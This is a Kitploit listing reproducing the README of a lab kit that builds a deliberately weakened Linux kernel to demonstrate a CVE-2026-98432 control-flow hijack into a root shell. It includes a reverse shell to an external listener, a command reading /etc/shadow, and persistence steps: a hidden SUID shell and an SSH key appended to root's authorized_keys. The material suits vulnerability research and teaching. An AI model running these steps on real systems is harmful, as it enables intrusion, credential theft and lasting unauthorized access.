Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2026-98432-root-shell — CVE-2026-98432 lab root-shell kit (aid kernel; not a stock remote exploit) | Kitploit
Tools/GitHubGitHub/thiscitze/cve-2026-98432-root-shell
Privilege EscalationVulnerability AnalysisExploitationShellcodeLearning & EducationPayload DevelopmentBinary ExploitationLabs & Practice

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHub
thiscitze/cve-2026-98432-root-shell

cve-2026-98432-root-shell

CVE-2026-98432 lab root-shell kit (aid kernel; not a stock remote exploit)

View Repository
12 days agoNot yet reviewed

CVE-2026-98432 lab root-shell kit

This kit builds a deliberately vulnerable Linux 6.12.112 kernel with a small exploitability aid and turns the CVE-2026-98432 path into an interactive root shell on the QEMU console.

It is a lab aid, not a stock remote exploit. The real CVE code paths are used:

  • a forged ip_options_rcu reaches ip_options_build() through the retransmitted-SYN-ACK path;
  • the SYN-ACK's skb_shared_info is corrupted;
  • skb_release_data() calls the forged ubuf_info->ops->complete callback;
  • a ROP chain calls call_usermodehelper("/bin/sh", ...).

The aid is the forced free/forged object and the staged callback/ROP chain. On a stock vulnerable kernel the missing piece is the reliable same-slab/same-CPU reclaim and payload-staging primitive; it is not published. See "Stock-kernel status" below.

Requirements

  • x86_64 Linux host, root, 4+ cores, 10 GB free disk
  • KVM (/dev/kvm) strongly recommended; TCG works but is slow
  • Debian/Ubuntu packages:
sudo apt-get update
sudo apt-get install -y build-essential flex bison bc libelf-dev libssl-dev \
    cpio qemu-system-x86 busybox-static python3 python3-pip
  • Optional, for automatic gadget resolution:
python3 -m pip install --user ROPgadget

Build and boot

cd cve-2026-98432-root-shell
chmod +x build.sh
./build.sh

The first build downloads Linux 6.12.112, reverts the two kfree_rcu() calls, applies the aid, builds bzImage, resolves symbols/gadgets from the patched vmlinux, rebuilds, packs an initramfs, and boots QEMU with nokaslr.

If KVM is unavailable:

QEMU_ACCEL=tcg ./build.sh

(The script currently falls back to TCG automatically when /dev/kvm is not writable; the QEMU_ACCEL variable is accepted for convenience.)

Trigger the root shell

A) Lab VM: root shell on the host console

In a second terminal on the host:

python3 trigger.py 127.0.0.1 9000

The guest init created /tmp/cve98432_root.sh with a console shell (sh -i </dev/console). A single TCP connection to the guest listener is enough. The guest console should show something like:

[    3.942024] BUG: scheduling while atomic: ...
...
uid=0 gid=0
#

B) Friendly target server with Python: root shell over SSH

Copy root_shell.py to the target (which already boots the aid kernel) and run it as the user you have:

python3 root_shell.py

It writes /tmp/cve98432_root.sh with a root reverse-shell payload, starts two loopback listeners (9000 for the trigger, 4444 for the shell), triggers the aid, and bridges the root shell to your terminal:

[+] trigger sent; waiting for the root shell...
[+] root shell connected; type commands, exit to close
uid=0 gid=0
#

Useful options:

# check kernel/aid/ports without sending anything
python3 root_shell.py --check

# run one command as root and print its output
python3 root_shell.py --command 'id; cat /etc/shadow | head'

# send the root shell to an external listener instead of bridging locally
# (run: nc -lvnp 4444   on your machine first)
python3 root_shell.py --reverse 10.0.0.5:4444

# different ports / retries / no TTY raw mode
python3 root_shell.py --trigger-port 9100 --shell-port 4455 --retries 5

Keeping the host up / persistent root

The aid chain calls machine_power_off() only after the root command exits. If the root command never exits, the kernel waits in call_usermodehelper() and the host stays up. That lets you create a persistent root path:

# SUID shell in /var/tmp, then keep the helper alive
python3 root_shell.py --command \
  'cp /bin/sh /var/tmp/.rootsh; chmod 4755 /var/tmp/.rootsh; sleep 86400'

# after the client returns
/var/tmp/.rootsh -p

or add an SSH key and keep the helper alive:

python3 root_shell.py --command \
  'mkdir -p /root/.ssh; echo "ssh-ed25519 AAAA... you@host" >> /root/.ssh/authorized_keys; chmod 700 /root/.ssh; chmod 600 /root/.ssh/authorized_keys; sleep 86400'

The sleep keeps the usermode helper (and therefore the kernel chain) alive, so the target does not power off. Use /var/tmp or /root, not /tmp, if /tmp is mounted noexec/nosuid. When the sleep ends, the chain resumes and powers the host off; kill the sleep process as root if you want to control that.

The payload file is created with 0700 and O_EXCL|O_NOFOLLOW, and is removed after use unless --keep-payload is given. When you exit the root shell, the aid chain calls machine_power_off(). Use a disposable VM, or edit AID_POWEROFF in aid_patch.py if you need the host to stay up.

The chain runs:

call_usermodehelper("/bin/sh", ["-c", "sh /tmp/cve98432_root.sh"], env, 2)

so the script always executes as root.

What is real and what is aid

piecestatus
forged ip_options_rcu + ip_options_build()CVE path, but allocation is forced by the aid
skb_shared_info corruptionaid sets the fields directly in tcp_v4_send_synack()
destructor_arg callback hijackreal downstream teardown path
ROP pivot + call_usermodehelper()real kernel control-flow hijack, staged by the aid
nokaslr bootlab simplification; no KASLR leak needed

The published independent research that this kit follows reached the same point with an instrumented kernel: real OOB write and callback path, aided free/reclaim and payload staging. A stock-kernel weaponised chain is not publicly available as of 2026-11-02.

Symbols and gadgets

The aid uses absolute kernel addresses because the guest boots with nokaslr. The values in aid_patch.py are defaults from the published 6.12.112 lab build. resolve.py reads the patched vmlinux and System.map and writes symbols.json; build.sh then updates the defines and rebuilds.

If resolve.py cannot find a gadget (ROPgadget missing or incomplete), install it and re-run:

python3 -m pip install --user ROPgadget
python3 resolve.py work/linux-6.12.112
python3 aid_patch.py --update work/linux-6.12.112
make -C work/linux-6.12.112 -j"$(nproc)" bzImage

The pivot gadget must match the chain layout in aid_patch.py: a lea -0x18(%rbp), %rsp plus four pops and a ret/jmp. If your build has a different pivot, adjust SEND_BLOCK in aid_patch.py or pick a matching gadget.

Stock-kernel status

A stock vulnerable kernel does not have a reliable, public, unassisted root chain. The blockers are:

  1. The freed 72-byte ip_options_rcu must be reclaimed inside the free-to-build window by an object with attacker-controlled bytes. The saved_syn object (TCP_SAVE_SYN) is the natural candidate, but the independent lab measurements show the reclaim usually lands on another option block, not the in-flight chunk.
  2. A text-pointer leak is needed for KASLR. The same-type reclaim exposes a foreign marker but not a kernel text pointer.
  3. The srr/rr/ts stores give four controlled bytes at an offset near the skb buffer; writing a full 8-byte destructor_arg pointer needs either a stale high dword or a stronger primitive.

The published Anthropic chain solves these with a reclaim/staging primitive that was not released. This kit deliberately stops at the control-flow demonstration rather than pretending the stock chain works.

Files

filepurpose
build.shkernel + initramfs + QEMU
aid_patch.pyapplies the forged-object/callback/ROP aid
resolve.pyresolves symbols/gadgets for the patched build
listener.cguest TCP listener (accept + close)
initguest init script
trigger.pyhost-side one-connection trigger (console variant)
root_shell.pysingle-file trigger + reverse-shell bridge for a target with Python

Cleanup

Everything is under work/ (or the directory passed as the first argument). Delete it to reclaim disk:

rm -rf work

References

Download Tool